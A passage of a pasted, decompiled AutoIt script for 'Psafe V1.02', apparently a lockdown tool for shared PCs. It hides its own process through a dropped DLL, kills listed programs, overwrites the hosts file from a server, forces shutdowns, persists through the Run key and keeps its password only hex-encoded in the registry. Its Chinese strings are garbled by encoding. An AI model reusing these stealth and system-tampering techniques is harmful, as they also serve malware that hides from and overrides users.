  646.    If StringLen($sString) >= 1 Then
  647.       For $iCount = 1 To StringLen($sString)
  648.          $sReverse = StringMid($sString, $iCount, 1) & $sReverse
  649.       Next
  650.  
  651.       Return $sReverse
  652.    Else
  653.       SetError(1)
  654.       Return ""
  655.    EndIf
  656. EndFunc   ;==>_StringReverse
  657.  
  658. ;===============================================================================
  659. ;
  660. ; Function Name:    _StringToHex("string")
  661. ; Description:      Convert a string of characters to hexadecimal.
  662. ; Parameter(s):     $strChar is the string you want to convert.
  663. ; Requirement(s):   String Input.
  664. ; Return Value(s):  Returns the converted string in hexadecimal.
  665. ; Author(s):        Jarvis Stubblefield
  666. ; Corrected:        2005/09/04 jpm error checking
  667. ;
  668. ;===============================================================================
  669.  
  670. Func _StringToHex($strChar)
  671.     Local $aryChar, $i, $iDec, $hChar, $file, $strHex
  672.  
  673.     $aryChar = StringSplit($strChar, "")
  674.  
  675.     For $i = 1 To $aryChar[0]
  676.         $iDec = Asc($aryChar[$i])
  677.         $hChar = Hex($iDec, 2)
  678.         $strHex = $strHex & $hChar
  679.     Next
  680.  
  681.         Return $strHex
  682.  
  683. EndFunc
  684.  
  685. ;=================================================================================
  686. ; Helper functions
  687. Func __CharacterIsApha($s_Str)
  688.    Local $a_Alpha = "abcdefghijklmnopqrstuvwxyz"
  689.    Return ( StringInStr($a_Alpha, $s_Str))
  690. EndFunc   ;==>__CharacterIsApha
  691.  
  692. ; ----------------------------------------------------------------------------
  693. ; <AUT2EXE INCLUDE-END: C:\Program Files\AutoIt3\Include\string.au3>
  694. ; ----------------------------------------------------------------------------
  695.  
  696. FileInstall("psafe.dll", @WindowsDir&"\psafe.dll")
  697. DllCall(@WindowsDir&"\psafe.dll", "int", "HideProcess")
  698. Send("{NumLock on}")
  699. If Not FileExists(@ScriptDir&"\psafe.ini") Then
  700.     MsgBox(0, "����~��", "δ���ֽ��������ļ�psafe.ini~~��", 10)
  701.     Exit
  702. EndIf
  703. $config=IniRead("psafe.ini", "serini", "serini", "\\server\psafe$\psafe.ini")
  704. If Not FileExists($config) Then $config=@ScriptDir&"\psafe.ini"
  705. $sleep=IniRead($config, "sleep", "sleep", "120000")
  706. $hotkey=IniRead($config, "hotkey", "hotkey", "h")
  707. $protectmode=IniRead($config, "protectfile", "protectmode", "0")
  708. $Hex = RegRead("HKEY_CURRENT_CONFIG\System\CurrentControlSet\Header", "Psafe")
  709. $password=_HexToString($Hex)
  710. $uphost=IniRead($config, "host", "uphost", "0")
  711. If $uphost=1 Then
  712.     $serhost=IniRead($config, "host", "serhost", "\\server\psafe$\hosts")
  713.     $serhostsize=FileGetSize($serhost)
  714.     $hostsize=FileGetSize(@WindowsDir&"\system32\drivers\etc\hosts")
  715.     If $hostsize<>$serhostsize Then FileCopy($serhost,@WindowsDir&"\system32\drivers\etc\",1)
  716. EndIf
  717. $killp = IniReadSection($config, "killp")
  718. $killwin = IniReadSection($config, "killwin")
  719. Dim $protectp[6],$protectfile[6],$serfile[6]
  720. For $n=1 To 5
  721.     $protectp[$n]=IniRead($config, "protectp", $n, "none")
  722.     $protectfile[$n]=IniRead($config, "protectfile", $n, "none")
  723.     If $protectmode=1 Then
  724.         $serfile[$n]=IniRead($config, "protectfile", "serfile"&$n, "")
  725.     EndIf
  726. Next
  727. $hotkeyexist=0
  728. HotKeySet("^+!"&$hotkey, "hotkey")
  729. While 1
  730.     ToolTip("")
  731.     For $n=1 To $killp[0][0]
  732.         If ProcessExists($killp[$n][1]) Then
  733.             ProcessClose($killp[$n][1])
  734.             $tip=@LF&"����~���������к�����"&$killp[$n][1]&"�����Ѿ�����������~��"&@LF
  735.             ToolTip($tip, (@DesktopWidth-StringLen($tip)*6)/2, 0)
  736.         EndIf
  737.     Next
  738.     For $n=1 To $killwin[0][0]
  739.         $win=WinGetTitle("")
  740.         $str=$killwin[$n][1]
  741.         If $str<>"" And StringInStr($win,$str) Then
  742.             WinKill($win)
  743.             WinClose ($win)
  744.             $tip=@LF&"����~���������к����򴰿ڡ�"&$win&"�����Ѿ�����������~��"&@LF
  745.             ToolTip($tip, (@DesktopWidth-StringLen($tip)*6)/2, 0)
  746.         EndIf
  747.     Next
  748.     Sleep($sleep/2)
  749.     ToolTip("")
  750.     For $n=1 To 5
  751.         Select
  752.         Case Not ProcessExists($protectp[$n]) And $protectp[$n]<>"none" And $protectp[$n]<>""
  753.             $tip=@LF&"����~����ȱʧϵͳ�ؼ����̡�"&$protectp[$n]&"����ϵͳ����������~��"&@LF
  754.             ToolTip($tip, (@DesktopWidth-StringLen($tip)*6)/2, 0)
  755.             Shutdown(6)
  756.         Case Not FileExists($protectfile[$n]) And $protectfile[$n]<>"none" And $protectfile[$n]<>"" And $protectmode<>1
  757.             $tip=@LF&"����~����ȱʧϵͳ�ؼ��ļ���"&$protectfile[$n]&"����ϵͳ����������~��"&@LF
  758.             ToolTip($tip, (@DesktopWidth-StringLen($tip)*6)/2, 0)
  759.             Shutdown(6)
  760.         Case Not FileExists($protectfile[$n]) And $protectfile[$n]<>"none" And $protectfile[$n]<>"" And $protectmode=1
  761.             FileCopy($serfile[$n], $protectfile[$n],1)
  762.             $tip=@LF&"����~����ȱʧϵͳ�ؼ��ļ���"&$protectfile[$n]&"����ϵͳ�����¿������ļ�~��"&@LF
  763.             ToolTip($tip, (@DesktopWidth-StringLen($tip)*6)/2, 0)
  764.         EndSelect
  765.     Next
  766.     Sleep($sleep/2)
  767. WEnd
  768. Exit
  769. Func hotkey()
  770.     If $hotkeyexist=0 Then
  771.         $hotkeyexist=1
  772.         $inputpasswd = InputBox("Header's���̹�������PsafeV1.02", "������Psafe���룺", "", "*",260,40,-1,-1,10)
  773.         If $inputpasswd=$password Then
  774.             Call("gui")
  775.             $hotkeyexist=0
  776.          Else
  777.             MsgBox(0,"����~��","������������~~��",5)
  778.             $hotkeyexist=0
  779.         EndIf
  780.     EndIf
  781. EndFunc
  782. Func gui()
  783.     GuiCreate("Header's���̹�������PsafeV1.02", 470, 60,(@DesktopWidth-470)/2, (@DesktopHeight-60)/2)
  784.     $Label1 = GuiCtrlCreateLabel("����������ļ�·��", 3, 9, 108, 20)
  785.     $Input1 = GuiCtrlCreateInput("", 121, 5, 276, 20)
  786.     GUICtrlSetData(-1,IniRead("psafe.ini","serini", "serini", "\\server\psafe$\psafe.ini"))
  787.     $fixpatch = GuiCtrlCreateButton("�޸�·��", 406, 5, 60, 20)
  788.     $Label2 = GuiCtrlCreateLabel("ά����������", 3, 39, 84, 20)
  789.     $Input2 = GuiCtrlCreateInput("", 87, 35, 100, 20)
  790.     $fixpassword = GuiCtrlCreateButton("�޸�����", 197, 35, 60, 20)
  791.     $start = GuiCtrlCreateButton("��������", 267, 35, 60, 20)
  792.     $close = GuiCtrlCreateButton("�˳�����", 337, 35, 60, 20)
  793.     $exit = GuiCtrlCreateButton("�˳�����", 407, 35, 60, 20)
  794.     GuiSetState()
  795.     While 1
  796.         $msg = GuiGetMsg()
  797.         Select
  798.         Case $msg = $GUI_EVENT_CLOSE
  799.         ExitLoop
  800.         Case $msg=$start
  801.             RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Psafe", "REG_SZ", @ScriptFullPath)
  802.             MsgBox(0,"������Ŀ����","Psafe�������ѳɹ�����������Ŀ~��")
  803.         Case $msg=$fixpatch
  804.             IniWrite("psafe.ini", "serini", "serini", GUICtrlRead($Input1))
  805.             MsgBox(0,"����������ļ�·������","����Psafe����������ļ�·���ɹ�~��")
  806.         Case $msg=$fixpassword
  807.             $password=GUICtrlRead($Input2)
  808.             $Hex = _StringToHex($password)
  809.             RegWrite("HKEY_CURRENT_CONFIG\System\CurrentControlSet\Header", "Psafe", "REG_SZ", $Hex)
  810.             MsgBox(0,"����������������","����Psafe����ɹ�~��")
  811.         Case $msg=$close
  812.             ExitLoop
  813.         Case $msg=$exit
  814.             Exit
  815.         EndSelect
  816.     WEnd
  817.     GUIDelete ()
  818. EndFunc
  819.  
  820. ; ----------------------------------------------------------------------------
  821. ; <AUT2EXE INCLUDE-END: D:\pasfe11.au3>
  822. ; ----------------------------------------------------------------------------
  823.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement